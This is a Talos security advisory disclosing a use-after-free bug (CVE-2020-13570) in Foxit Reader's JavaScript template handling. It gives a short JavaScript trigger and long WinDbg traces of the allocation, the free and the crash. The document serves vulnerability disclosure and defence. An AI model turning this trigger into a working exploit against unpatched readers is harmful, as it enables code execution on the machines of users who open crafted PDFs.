Talos Vulnerability Report

TALOS-2020-1181

# Foxit Reader JavaScript remove template use-after-free vulnerability

DECEMBER 9, 2020

CVE NUMBER

CVE-2020-13570

## Summary

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 10.1.0.37527. A specially crafted PDF document can trigger the reuse of previously free memory which can lead to arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

## Tested Versions

Foxit Reader Version: 10.1.0.37527

## Product URLs

https://www.foxitsoftware.com/pdf-reader/

## CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

## CWE

CWE-416 - Use After Free

## Details

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use after free vulnerability in the way Foxit Reader handles creation and removal of page templates. Following Javascript code demonstrates this:

```
var a = app.activeDocs[0].createTemplate(0);
app.activeDocs[0].removeTemplate("");
app.activeDocs[0].createTemplate(0);
a['hidden'] = true;
```

In the above code, a template is created and a reference to it is saved in var `a`. Subsequently, removal and creation of a template frees the memory and changes the list of existing templates. Then, when the original reference (to the now deleted) template has its `hidden` property set to true, a reuse of otherwise freed memory is triggered. This can be observed in the following debugging session:

```
Breakpoint 0 hit
eax=00000000 ebx=1efbafd0 ecx=1efbafd0 edx=1e826ff0 esi=00000000 edi=00000000
eip=0268b340 esp=0053dd5c ebp=0053de38 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
FoxitReader!safe_vsnprintf+0x22b210:
0268b340 e81bb0f0ff      call    FoxitReader!safe_vsnprintf+0x136230 (02596360)
0:000> dd ecx
1efbafd0  c0c00005 1e7d1fd0 00000000 00000000
1efbafe0  c0c0c001 00000000 1e826fe8 00000002
1efbaff0  00000005 00000000 00000004 d0d0d0d0
1efbb000  ???????? ???????? ???????? ????????
1efbb010  ???????? ???????? ???????? ????????
1efbb020  ???????? ???????? ???????? ????????
1efbb030  ???????? ???????? ???????? ????????
1efbb040  ???????? ???????? ???????? ????????
0:000> dd poi(ecx+0x18)
1e826fe8  1b685fe0 1b687fe0 1b687fe0 00000000
1e826ff8  00000000 d0d0d0d0 ???????? ????????
1e827008  ???????? ???????? ???????? ????????
1e827018  ???????? ???????? ???????? ????????
1e827028  ???????? ???????? ???????? ????????
1e827038  ???????? ???????? ???????? ????????
1e827048  ???????? ???????? ???????? ????????
1e827058  ???????? ???????? ???????? ????????
0:000> dd poi(poi(ecx+0x18))
1b685fe0  c0c00003 1efbafd0 00000000 00000000
1b685ff0  c0c0c001 1fba8ff0 c0c00000 00000000
1b686000  ???????? ???????? ???????? ????????
1b686010  ???????? ???????? ???????? ????????
1b686020  ???????? ???????? ???????? ????????
1b686030  ???????? ???????? ???????? ????????
1b686040  ???????? ???????? ???????? ????????
1b686050  ???????? ???????? ???????? ????????
0:000> !heap -p -a  poi(poi(ecx+0x18))
    address 1b685fe0 found in
    _DPH_HEAP_ROOT @ 701000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1eb0230c:         1b685fe0               20 -         1b685000             2000
    68d4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7714245b ntdll!RtlDebugAllocateHeap+0x00000039
    770a6dd9 ntdll!RtlpAllocateHeap+0x000000f9
    770a5ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    770a5d3e ntdll!RtlAllocateHeap+0x0000003e
    042239fc FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe8c
    0286d04b FoxitReader!safe_vsnprintf+0x0040cf1b
    0286d5d6 FoxitReader!safe_vsnprintf+0x0040d4a6
    0286d1f3 FoxitReader!safe_vsnprintf+0x0040d0c3
    00e3537a FoxitReader!google::LogMessageVoidify::operator&+0x000090ca
    02685436 FoxitReader!safe_vsnprintf+0x00225306
    0268d311 FoxitReader!safe_vsnprintf+0x0022d1e1
    022eaade FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x004c5c6e
    022e92a3 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x004c4433
    0177053d FoxitReader!CryptUIWizExport+0x0011d85d
    0173b9d5 FoxitReader!CryptUIWizExport+0x000e8cf5
    030bf2bb FoxitReader!FXJSE_GetClass+0x0000022b
    03284fb9 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5739
    0328474f FoxitReader!CFXJSE_Arguments::GetValue+0x001c4ecf
    03284a11 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5191
    032848ab FoxitReader!CFXJSE_Arguments::GetValue+0x001c502b
    0342be47 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c5c7
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033b830f FoxitReader!CFXJSE_Arguments::GetValue+0x002f8a8f
    033b812b FoxitReader!CFXJSE_Arguments::GetValue+0x002f88ab
    030f5726 FoxitReader!CFXJSE_Arguments::GetValue+0x00035ea6
    030f5207 FoxitReader!CFXJSE_Arguments::GetValue+0x00035987
    030e2517 FoxitReader!CFXJSE_Arguments::GetValue+0x00022c97
    030bda0f FoxitReader!FXJSE_Runtime_Release+0x00000c4f
    030be224 FoxitReader!FXJSE_ExecuteScript+0x00000014
    017b62e2 FoxitReader!CryptUIWizExport+0x00163602
```

A breakpoint is set at a function call that ends up freeing the object. In the above, dereferencing memory pointed to by `ecx` twice leads us to `1b685fe0` pointer and heap information shows that it's a start of heap buffer of size 0x20. Continuing execution past this function shows that this chunk of memory is indeed then freed:

```
0:000> p
eax=00000000 ebx=1efbafd0 ecx=1e7d1fd0 edx=1e826fec esi=00000000 edi=00000000
eip=0268b345 esp=0053dd64 ebp=0053de38 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
FoxitReader!safe_vsnprintf+0x22b215:
0268b345 8d4de0          lea     ecx,[ebp-20h]
0:000> !heap -p -a  1b685fe0
    address 1b685fe0 found in
    _DPH_HEAP_ROOT @ 701000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                 1eb0230c:         1b685000             2000
    68d4ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77142c91 ntdll!RtlDebugFreeHeap+0x0000003e
    770a3c45 ntdll!RtlpFreeHeap+0x000000d5
    770a3812 ntdll!RtlFreeHeap+0x00000222
    042239a6 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe36
    0420180f FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002c9c9f
    0286d0ab FoxitReader!safe_vsnprintf+0x0040cf7b
    0286d73e FoxitReader!safe_vsnprintf+0x0040d60e
    0286d3a2 FoxitReader!safe_vsnprintf+0x0040d272
    02593883 FoxitReader!safe_vsnprintf+0x00133753
    0268b345 FoxitReader!safe_vsnprintf+0x0022b215
    0268ace0 FoxitReader!safe_vsnprintf+0x0022abb0
    022eab89 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x004c5d19
    022ea7ed FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x004c597d
    022eb360 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x004c64f0
    018c08fb FoxitReader!CryptUIWizExport+0x0026dc1b
    018be9c4 FoxitReader!CryptUIWizExport+0x0026bce4
    030bf522 FoxitReader!FXJSE_GetClass+0x00000492
    0311ce32 FoxitReader!CFXJSE_Arguments::GetValue+0x0005d5b2
    03134653 FoxitReader!CFXJSE_Arguments::GetValue+0x00074dd3
    031343d3 FoxitReader!CFXJSE_Arguments::GetValue+0x00074b53
    03133fbe FoxitReader!CFXJSE_Arguments::GetValue+0x0007473e
    033a0714 FoxitReader!CFXJSE_Arguments::GetValue+0x002e0e94
    0339bf59 FoxitReader!CFXJSE_Arguments::GetValue+0x002dc6d9
    0342bd67 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c4e7
    034773fa FoxitReader!CFXJSE_Arguments::GetValue+0x003b7b7a
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033b830f FoxitReader!CFXJSE_Arguments::GetValue+0x002f8a8f
    033b812b FoxitReader!CFXJSE_Arguments::GetValue+0x002f88ab
    030f5726 FoxitReader!CFXJSE_Arguments::GetValue+0x00035ea6
    030f5207 FoxitReader!CFXJSE_Arguments::GetValue+0x00035987
```

Continuing execution further leads to the following crash:

```
0:000> g
(1148.55c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1f380ec4 ebx=1d034fd8 ecx=1f45afd0 edx=1af4effc esi=1b685fe0 edi=1f45afd0
eip=025922cb esp=0053ddc4 ebp=0053ddd0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
FoxitReader!safe_vsnprintf+0x13219b:
025922cb 8b5e08          mov     ebx,dword ptr [esi+8] ds:002b:1b685fe8=????????
0:000> dd esi
1b685fe0  ???????? ???????? ???????? ????????
1b685ff0  ???????? ???????? ???????? ????????
1b686000  ???????? ???????? ???????? ????????
1b686010  ???????? ???????? ???????? ????????
1b686020  ???????? ???????? ???????? ????????
1b686030  ???????? ???????? ???????? ????????
1b686040  ???????? ???????? ???????? ????????
1b686050  ???????? ???????? ???????? ????????
0:000> !heap -p -a  1b685fe0
    address 1b685fe0 found in
    _DPH_HEAP_ROOT @ 701000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                 1eb0230c:         1b685000             2000
    68d4ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77142c91 ntdll!RtlDebugFreeHeap+0x0000003e
    770a3c45 ntdll!RtlpFreeHeap+0x000000d5
    770a3812 ntdll!RtlFreeHeap+0x00000222
    042239a6 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe36
    0420180f FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002c9c9f
    0286d0ab FoxitReader!safe_vsnprintf+0x0040cf7b
    0286d73e FoxitReader!safe_vsnprintf+0x0040d60e
    0286d3a2 FoxitReader!safe_vsnprintf+0x0040d272
    02593883 FoxitReader!safe_vsnprintf+0x00133753
    0268b345 FoxitReader!safe_vsnprintf+0x0022b215
    0268ace0 FoxitReader!safe_vsnprintf+0x0022abb0
    022eab89 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x004c5d19
    022ea7ed FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x004c597d
    022eb360 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x004c64f0
    018c08fb FoxitReader!CryptUIWizExport+0x0026dc1b
    018be9c4 FoxitReader!CryptUIWizExport+0x0026bce4
    030bf522 FoxitReader!FXJSE_GetClass+0x00000492
    0311ce32 FoxitReader!CFXJSE_Arguments::GetValue+0x0005d5b2
    03134653 FoxitReader!CFXJSE_Arguments::GetValue+0x00074dd3
    031343d3 FoxitReader!CFXJSE_Arguments::GetValue+0x00074b53
    03133fbe FoxitReader!CFXJSE_Arguments::GetValue+0x0007473e
    033a0714 FoxitReader!CFXJSE_Arguments::GetValue+0x002e0e94
```

In the context of the above crash, we can see that `esi` refers to the previously freed memory buffer. This constitutes a use-after-free condition which, with precise memory allocation control and reuse, can lead to further memory corruption and possibly arbitrary code execution.

Crash Information

```
0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************
KEY_VALUES_STRING: 1

STACKHASH_ANALYSIS: 1
TIMELINE_ANALYSIS: 1
Timeline: !analyze.Start
    Name: <blank>
    Time: 2020-10-16T16:59:01.682Z
    Diff: 682 mSec
Timeline: Dump.Current
    Name: <blank>
    Time: 2020-10-16T16:59:01.0Z
    Diff: 0 mSec
Timeline: Process.Start
    Name: <blank>
    Time: 2020-10-16T16:45:59.0Z
    Diff: 782000 mSec
Timeline: OS.Boot
    Name: <blank>
    Time: 2020-10-03T06:45:00.0Z
    Diff: 1160041000 mSec

DUMP_CLASS: 2
DUMP_QUALIFIER: 0
FAULTING_IP:
FoxitReader!safe_vsnprintf+13219b
025922cb 8b5e08          mov     ebx,dword ptr [esi+8]
EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 025922cb (FoxitReader!safe_vsnprintf+0x0013219b)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 1ed06fe8
Attempt to read from address 1ed06fe8
FAULTING_THREAD:  00002690
FOLLOWUP_IP:
FoxitReader!safe_vsnprintf+13219b
025922cb 8b5e08          mov     ebx,dword ptr [esi+8]
READ_ADDRESS:  1ed06fe8
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE_STR:  c0000005
EXCEPTION_PARAMETER1:  00000000
EXCEPTION_PARAMETER2:  1ed06fe8
WATSON_BKT_PROCSTAMP:  5f6cc9cd
WATSON_BKT_PROCVER:  10.1.0.37527
PROCESS_VER_PRODUCT:  Foxit Reader
WATSON_BKT_MODULE:  FoxitReader.exe
WATSON_BKT_MODSTAMP:  5f6cc9cd
WATSON_BKT_MODOFFSET:  18e22cb
WATSON_BKT_MODVER:  10.1.0.37527
MODULE_VER_PRODUCT:  Foxit Reader
BUILD_VERSION_STRING:  17134.1.x86fre.rs4_release.180410-1804
MODLIST_WITH_TSCHKSUM_HASH:  0612eee8f662bac3c85302728c447f31ebd6d699
MODLIST_SHA1_HASH:  6538110c4ddd53614c8cfb74a99533f527424982
NTGLOBALFLAG:  2100000
PROCESS_BAM_CURRENT_THROTTLED: 0
PROCESS_BAM_PREVIOUS_THROTTLED: 0
APPLICATION_VERIFIER_FLAGS:  0
PRODUCT_TYPE:  1
SUITE_MASK:  272
DUMP_TYPE:  fe
APPLICATION_VERIFIER_LOADED: 1
PROCESS_NAME:  unknown
ANALYSIS_SESSION_TIME:  10-16-2020 18:59:01.0682
ANALYSIS_VERSION: 10.0.17763.1 x86fre
THREAD_ATTRIBUTES:
OS_LOCALE:  ENU
BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_AVRF
DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_AVRF
PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT
PROBLEM_CLASSES:
    ID:     [0n313]
    Type:   [@ACCESS_VIOLATION]
    Class:  Addendum
    Scope:  BUCKET_ID
    Name:   Omit
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x2690]
    Frame:  [0] : FoxitReader!safe_vsnprintf
    ID:     [0n285]
    Type:   [INVALID_POINTER_READ]
    Class:  Primary
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x2690]
    Frame:  [0] : FoxitReader!safe_vsnprintf
    ID:     [0n98]
    Type:   [AVRF]
    Class:  Addendum
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [0x19fc]
    TID:    [0x2690]
    Frame:  [0] : FoxitReader!safe_vsnprintf
LAST_CONTROL_TRANSFER:  from 0268519a to 025922cb
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
008fddf8 0268519a 1ed06fe0 197e6ec4 b7a15472 FoxitReader!safe_vsnprintf+0x13219b
008fde58 0268d311 197e6ea8 2220dfd0 008fdea4 FoxitReader!safe_vsnprintf+0x22506a
008fdebc 022eaade 197e6ea8 008fdf90 01d06fe0 FoxitReader!safe_vsnprintf+0x22d1e1
```

```
008fdfc4 022ea7ff 008fdfd4 ffffffff 00000001 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4c5c6e
008fdfd8 022eb360 b7a16a3e ffffffff 1eeeefd0 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4c598f
008fe014 018c08fb 008fe0dc 00000000 b7a16ae6 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4c64f0
008fe0cc 018be9c4 16b3bff8 008fe100 1fe1aff0 FoxitReader!CryptUIWizExport+0x26dc1b
008fe128 030bf522 1fa94ff8 008fe14c 16b3bff8 FoxitReader!CryptUIWizExport+0x26bce4
008fe164 0311ce32 008fe404 008fe414 1f362e60 FoxitReader!FXJSE_GetClass+0x492
008fe1bc 03134653 008fe220 120bb09c 008fe404 FoxitReader!CFXJSE_Arguments::GetValue+0x5d5b2
008fe26c 031343d3 008fe2e4 008fe314 008fe414 FoxitReader!CFXJSE_Arguments::GetValue+0x74dd3
008fe2b0 03133fbe 008fe2e4 008f0001 008fe414 FoxitReader!CFXJSE_Arguments::GetValue+0x74b53
008fe2e8 033a0714 008fe366 018fe314 008fe414 FoxitReader!CFXJSE_Arguments::GetValue+0x7473e

STACK_COMMAND:  ~0s ; .cxr ; kb
THREAD_SHA1_HASH_MOD_FUNC:  c4c79c839f24d5333ce0b7e31d2013845b5fdcc8
THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  5f96ad6f04b7c23e9ab7116dc7a894218a29cb81
THREAD_SHA1_HASH_MOD:  e1b49e33d780919a022a5c20f2ca3c3ff5291aa0
FAULT_INSTR_CODE:  85085e8b
SYMBOL_STACK_INDEX:  0
SYMBOL_NAME:  FoxitReader!safe_vsnprintf+13219b
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: FoxitReader
IMAGE_NAME:  FoxitReader.exe
DEBUG_FLR_IMAGE_TIMESTAMP:  5f6cc9cd
FAILURE_BUCKET_ID:  INVALID_POINTER_READ_AVRF_c0000005_FoxitReader.exe!safe_vsnprintf
BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_AVRF_FoxitReader!safe_vsnprintf+13219b
FAILURE_EXCEPTION_CODE:  c0000005
FAILURE_IMAGE_NAME:  FoxitReader.exe
BUCKET_ID_IMAGE_STR:  FoxitReader.exe
FAILURE_MODULE_NAME:  FoxitReader
BUCKET_ID_MODULE_STR:  FoxitReader
FAILURE_FUNCTION_NAME:  safe_vsnprintf
BUCKET_ID_FUNCTION_STR:  safe_vsnprintf
BUCKET_ID_OFFSET:  13219b
BUCKET_ID_MODTIMEDATESTAMP:  5f6cc9cd
BUCKET_ID_MODCHECKSUM:  648c458
BUCKET_ID_MODVER_STR:  10.1.0.37527
BUCKET_ID_PREFIX_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_AVRF_
FAILURE_PROBLEM_CLASS:  APPLICATION_FAULT
FAILURE_SYMBOL_NAME:  FoxitReader.exe!safe_vsnprintf
TARGET_TIME:  2020-10-16T17:01:17.000Z
OSBUILD:  17134
OSSERVICEPACK:  753
SERVICEPACK_NUMBER: 0
OS_REVISION: 0
OSPLATFORM_TYPE:  x86
OSNAME:  Windows 10
OSEDITION:  Windows 10 WinNt SingleUserTS
USER_LCID:  0
OSBUILD_TIMESTAMP:  1998-02-05 12:31:21
BUILDDATESTAMP_STR:  180410-1804
BUILDLAB_STR:  rs4_release
BUILDOSVER_STR:  10.0.17134.1.x86fre.rs4_release.180410-1804
ANALYSIS_SESSION_ELAPSED_TIME:  26526
ANALYSIS_SOURCE:  UM
FAILURE_ID_HASH_STRING:  um:invalid_pointer_read_avrf_c0000005_foxitreader.exe!safe_vsnprintf
FAILURE_ID_HASH:  {95d036be-99ef-8fdf-16bb-037626864900}
Followup:     MachineOwner
---------
```

## Timeline

2020-10-20 - Vendor Disclosure

2020-12-09 - Public Release

## CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

---